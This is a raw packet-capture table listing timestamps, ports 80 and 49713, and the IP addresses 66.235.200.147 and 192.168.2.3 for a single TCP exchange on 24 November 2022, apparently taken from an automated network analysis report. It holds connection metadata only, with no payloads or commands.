Nov 24, 2022 16:57:36.862747908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862771034 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862771034 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.862792015 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862812996 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862822056 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.862835884 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862858057 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862863064 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.862890959 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862914085 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862935066 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862957001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862978935 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.862992048 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.862998962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863022089 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863033056 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.863044977 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863066912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863087893 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.863089085 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863125086 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.863132954 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863156080 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.863157034 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863182068 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863204002 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863207102 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.863226891 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863250017 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.863250971 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863276005 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863297939 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863312960 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.863321066 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863343954 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863348961 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.863368034 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863389969 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863395929 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.863415003 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863437891 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863456011 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.863477945 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.863497972 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863523006 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863544941 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863569021 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863571882 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.863593102 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863615990 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863626957 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.863651991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863663912 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.863677979 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863701105 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863723040 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863723993 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.863749027 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863771915 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863792896 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.863796949 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863821030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863830090 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.863847017 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863869905 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863872051 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.863892078 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863914013 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863915920 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.863944054 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.863970041 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.863977909 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864025116 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864053965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864073992 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.864084959 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864109993 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.864121914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864154100 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864187956 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864202023 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.864222050 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864238977 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.864255905 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864286900 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864301920 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.864321947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864356041 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864368916 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.864387989 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864417076 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864444971 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864445925 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.864475012 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864506960 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864521027 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.864537954 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864559889 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.864571095 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864602089 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864630938 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864654064 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.864658117 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864689112 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.864691973 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864723921 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864744902 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.864754915 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864787102 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864804983 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.864820004 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864851952 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864866018 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.864885092 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864914894 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864940882 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.864945889 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.864981890 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865015030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865031958 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.865047932 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865067005 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.865078926 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865113020 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865144968 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865164042 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.865176916 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865201950 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.865206003 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865235090 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865255117 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865274906 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865283966 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.865298986 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865324020 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865329027 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.865349054 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.865349054 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865375042 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865396976 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865406036 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.865422010 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865441084 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.865447044 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865472078 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865494967 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865506887 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.865519047 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865545034 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865545988 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.865569115 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865593910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865617037 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865617990 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.865641117 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865653038 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.865665913 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865689039 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865694046 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.865712881 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865737915 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.865737915 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865763903 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865787983 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865796089 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.865813017 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865834951 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.865835905 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865876913 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865895033 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.865901947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865930080 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865948915 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.865957022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.865983963 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866007090 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.866009951 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866034985 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866060019 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866065979 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.866086960 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866112947 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.866117001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866144896 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866169930 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866194010 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.866194010 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866223097 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866230965 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.866249084 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866272926 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.866272926 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866298914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866322994 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866343021 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.866348982 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866375923 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866377115 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.866400957 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866415977 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.866425991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866452932 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866477013 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866486073 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.866503000 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866525888 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.866528034 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866554022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866579056 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866600990 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.866602898 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866630077 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866637945 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.866656065 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866678953 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.866682053 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866708040 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866734028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866744995 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.866759062 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.866786957 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.915030003 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.932549000 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.932588100 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.932611942 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.932637930 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.932662010 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.932683945 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.932708025 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.932714939 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.932732105 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.932756901 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.932765007 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.932801962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.932821989 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.932840109 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.932873964 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.932878971 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.932919025 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.932930946 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.932981968 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933007002 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933028936 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.933031082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933057070 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933082104 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933105946 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933115959 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.933132887 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.933139086 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933176994 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933192968 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.933211088 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933243990 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933259010 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.933279037 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933310032 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933335066 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.933336973 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933361053 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933384895 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933408022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933418036 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.933433056 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933439970 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.933458090 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933480978 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933505058 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933507919 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.933526993 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.933528900 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933554888 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933578968 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933602095 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933612108 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.933628082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933630943 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.933646917 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933665991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933686018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933716059 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933748960 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.933748960 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933779955 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.933793068 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933830023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933861017 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933887959 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.933897018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933916092 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.933932066 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933964968 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.933996916 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934017897 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.934031010 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934041977 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.934067011 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934101105 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934129953 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934150934 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.934154987 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934169054 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.934182882 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934206963 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934231043 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934232950 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.934254885 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934279919 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934308052 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.934315920 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934331894 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.934353113 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934387922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934412003 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.934422016 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934456110 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934478045 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.934489965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934521914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934547901 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934570074 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.934571981 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934587002 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.934597015 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934621096 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934644938 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934645891 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.934669018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934693098 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934710979 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.934726954 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934746027 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.934763908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934799910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934834957 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934853077 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.934861898 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934902906 CET	80	49713	66.235.200.147	192.168.2.3
